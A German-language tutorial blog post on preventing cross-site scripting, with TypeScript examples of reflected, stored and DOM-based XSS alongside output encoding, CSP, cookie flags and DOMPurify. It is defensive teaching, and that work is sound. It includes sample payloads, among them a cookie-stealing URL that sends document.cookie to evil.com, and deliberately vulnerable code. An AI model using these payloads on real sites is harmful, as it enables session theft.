Zum Inhalt springen

Cross-Site-Scripting verhindern: Der vollständige Leitfaden

Wie Cross-Site-Scripting-Angriffe funktionieren, die drei XSS-Typen und die Defense-in-Depth-Strategien, die sie wirklich verhindern.

4 Min. Lesezeit
Browserkonsole zeigt einen durch eine Content-Security-Policy-Verletzung blockierten XSS-Versuch

Cross-Site-Scripting ist nach wie vor die häufigste Web-Schwachstelle und tritt in etwa 40 % aller getesteten Webanwendungen auf. Obwohl das Problem seit über zwei Jahrzehnten bekannt ist, hält sich XSS hartnäckig, weil das grundlegende Problem – die Vermischung von Nutzerdaten und Code – tief im Aufbau des Webs verankert ist. HTML, CSS und JavaScript teilen sich dasselbe Dokument, und der Browser kann nicht unterscheiden, welcher Code von dir stammt und welcher von einem Angreifer eingeschleust wurde.

Die gute Nachricht: Moderne Strategien zur mehrschichtigen Verteidigung erschweren die Ausnutzung von XSS erheblich. Die schlechte Nachricht: Man braucht sie alle, nicht nur eine.

Die drei Arten von XSS

Wer die drei Angriffsvektoren versteht, weiß auch, welche Abwehrmaßnahmen jeweils greifen.

Reflektiertes XSS

Das Skript stammt aus der aktuellen HTTP-Anfrage – meist ein URL-Parameter, der direkt in die Seite gerendert wird.

tstypescript
// ❌ Vulnerable — user input rendered as HTML
app.get('/search', (req, res) => {
  const query = req.query.q;
  res.send(`<h1>Results for: ${query}</h1>`);
  // URL: /search?q=<script>document.location='https://evil.com/?c='+document.cookie</script>
});
 
// ✅ Safe — output encoding prevents script execution
import { encode } from 'html-entities';
 
app.get('/search', (req, res) => {
  const query = encode(req.query.q as string);
  res.send(`<h1>Results for: ${query}</h1>`);
  // Renders: &lt;script&gt; — displayed as text, not executed
});

Gespeichertes XSS

Das Skript wird in der Datenbank gespeichert und anderen Nutzern ausgeliefert. Kommentarbereiche, Profilfelder und Forenbeiträge sind klassische Ziele.

tstypescript
// ❌ Stored XSS — malicious comment saved and rendered to all users
app.post('/comments', async (req, res) => {
  await db.comments.create({ body: req.body.comment });
  // If comment is: <img src=x onerror="stealCookies()">
  // Every subsequent visitor executes the script
});
 
// ✅ Sanitize on input, encode on output
import DOMPurify from 'isomorphic-dompurify';
 
app.post('/comments', async (req, res) => {
  const sanitized = DOMPurify.sanitize(req.body.comment, {
    ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p', 'br'],
    ALLOWED_ATTR: ['href'],
  });
  await db.comments.create({ body: sanitized });
});

DOM-basiertes XSS

Das Skript gelangt nie zum Server. Clientseitiges JavaScript liest aus einer vom Angreifer kontrollierten Quelle (URL, window.name, postMessage) und schreibt sie in das DOM.

tstypescript
// ❌ DOM XSS — reads hash, writes to innerHTML
const userInput = window.location.hash.substring(1);
document.getElementById('content')!.innerHTML = userInput;
// URL: page.html#<img src=x onerror=alert(1)>
 
// ✅ Safe — use textContent instead of innerHTML
const userInput = window.location.hash.substring(1);
document.getElementById('content')!.textContent = userInput;
// Text is inserted as text, never parsed as HTML

Ausgabecodierung

Die wichtigste Abwehrmaßnahme: Nutzerdaten abhängig vom jeweiligen Ausgabekontext codieren. Jeder Kontext verlangt eine andere Codierung.

tstypescript
// Context-aware encoding — the output context determines the encoding
const encoders = {
  // HTML context: <div>{userInput}</div>
  html: (s: string) => s
    .replace(/&/g, '&amp;')
    .replace(/</g, '&lt;')
    .replace(/>/g, '&gt;')
    .replace(/"/g, '&quot;')
    .replace(/'/g, '&#x27;'),
 
  // Attribute context: <div data-value="{userInput}">
  attribute: (s: string) => s
    .replace(/&/g, '&amp;')
    .replace(/"/g, '&quot;')
    .replace(/'/g, '&#x27;'),
 
  // JavaScript context: var x = '{userInput}'
  javascript: (s: string) => JSON.stringify(s),
 
  // URL parameter context: /search?q={userInput}
  url: (s: string) => encodeURIComponent(s),
};
tstypescript
// ❌ Wrong context encoding — HTML encoding in a URL parameter
const link = `<a href="/search?q=${encoders.html(userInput)}">Search</a>`;
// XSS possible: userInput = "test" onmouseover="alert(1)"
 
// ✅ Correct context — URL encoding for URL parameter
const link = `<a href="/search?q=${encoders.url(userInput)}">Search</a>`;

React, Vue und Angular übernehmen die HTML-Codierung für interpolierte Ausdrücke automatisch. Aber dangerouslySetInnerHTML, v-html und [innerHTML] umgehen diesen Schutz vollständig – verwende sie nur mit bereits sanitisierten Inhalten.

Content Security Policy

CSP ist deine zweite Verteidigungslinie. Sie teilt dem Browser mit, welche Skripte ausgeführt werden dürfen, sodass eingeschleuste Skripte von vornherein wirkungslos bleiben.

tstypescript
// Express CSP middleware
app.use((req, res, next) => {
  const nonce = crypto.randomBytes(16).toString('base64');
  res.locals.nonce = nonce;
 
  res.setHeader('Content-Security-Policy', [
    `default-src 'self'`,
    `script-src 'self' 'nonce-${nonce}'`,
    `style-src 'self' 'unsafe-inline'`,
    `img-src 'self' data: https:`,
    `connect-src 'self' https://api.example.com`,
    `frame-ancestors 'none'`,
    `base-uri 'self'`,
    `form-action 'self'`,
  ].join('; '));
 
  next();
});
htmlhtml
<!-- Only scripts with the correct nonce execute -->
<script nonce="abc123">
  // This executes — nonce matches
  initApp();
</script>
 
<script>
  // This is BLOCKED by CSP — no nonce
  stealCookies();
</script>

Beginne mit Content-Security-Policy-Report-Only, um Verstöße zu beobachten, ohne die Seite zu gefährden, und wechsle danach in den erzwingenden Modus:

tstypescript
// Report-only mode — logs violations without blocking
res.setHeader('Content-Security-Policy-Report-Only', [
  `default-src 'self'`,
  `script-src 'self'`,
  `report-uri /api/csp-violations`,
].join('; '));
 
// Log CSP violations for analysis
app.post('/api/csp-violations', (req, res) => {
  logger.warn('CSP violation', req.body);
  res.status(204).send();
});

Selbst wenn XSS alle anderen Abwehrmaßnahmen umgeht, verhindern die richtigen Cookie-Flags das folgenschwerste Ergebnis: Session-Hijacking.

tstypescript
// ❌ Cookies accessible to JavaScript — XSS can steal them
res.cookie('session', token, {
  path: '/',
});
 
// ✅ Protected cookies — XSS cannot read or exfiltrate them
res.cookie('session', token, {
  httpOnly: true,    // Not accessible via document.cookie
  secure: true,      // Only sent over HTTPS
  sameSite: 'lax',   // Prevents CSRF
  path: '/',
  maxAge: 86400000,  // 24 hours
});

httpOnly ist das entscheidende Flag. Ohne es kann jede XSS-Payload Session-Cookies über document.cookie exfiltrieren.

Input-Sanitization

Wenn Nutzer formatierte Inhalte einreichen müssen (Markdown, HTML), sanitisiere sie, um sicheres Formatieren zu ermöglichen und gefährliche Elemente zu entfernen.

tstypescript
import DOMPurify from 'isomorphic-dompurify';
 
// ❌ Naive sanitization — easy to bypass
function naiveSanitize(html: string): string {
  return html.replace(/<script>/gi, '').replace(/<\/script>/gi, '');
  // Bypassed by: <scr<script>ipt>alert(1)</scr</script>ipt>
}
 
// ✅ Use a battle-tested sanitization library
function sanitizeUserContent(html: string): string {
  return DOMPurify.sanitize(html, {
    ALLOWED_TAGS: [
      'h2', 'h3', 'p', 'a', 'ul', 'ol', 'li',
      'strong', 'em', 'code', 'pre', 'blockquote', 'br',
    ],
    ALLOWED_ATTR: ['href', 'class'],
    ALLOW_DATA_ATTR: false,
  });
}

Schreibe niemals einen eigenen HTML-Sanitizer. Auf Regex basierende Sanitization lässt sich immer umgehen. DOMPurify wandelt HTML in einen DOM-Baum um und entfernt gefährliche Knoten – ein grundlegend robusterer Ansatz.

Mehrschichtige Verteidigung

Keine einzelne Abwehrmaßnahme verhindert jede Form von XSS. Kombiniere sie in mehreren Schichten:

AbwehrmaßnahmeVerhindertEinschränkung
AusgabecodierungReflektiertes und gespeichertes XSSErfordert den richtigen Kontext
CSP mit NoncesInjektion von Inline-SkriptenVerhindert kein DOM-basiertes XSS
HttpOnly-CookiesSession-Hijacking über XSSAndere Daten bleiben zugänglich
Input-SanitizationGespeichertes XSS in formatierten InhaltenNur für Felder mit erlaubtem HTML
Automatisches Escaping des FrameworksDie meisten Template-InjektionenDurch rohe HTML-Methoden umgehbar

Die wichtigsten Erkenntnisse

  1. Codiere die Ausgabe kontextabhängig – HTML-, Attribut-, URL- und JavaScript-Kontexte brauchen jeweils eine andere Codierung
  2. Setze CSP mit Nonces ein – blockiert eingeschleuste Skripte selbst dann, wenn die Codierung fehlt
  3. Setze HttpOnly bei Session-Cookies – verhindert die folgenschwerste Auswirkung von XSS (Session-Hijacking)
  4. Verwende DOMPurify für formatierte Inhalte – schreibe niemals einen eigenen HTML-Sanitizer
  5. Vermeide innerHTML und dangerouslySetInnerHTML – nutze stattdessen textContent oder die Interpolation des Frameworks
  6. Verteidige in mehreren Schichten – keine einzelne Technik verhindert alle XSS-Varianten
Wilfredo Rujel

Wilfredo Rujel

Full-Stack-Softwareentwickler

Diesen Beitrag teilenX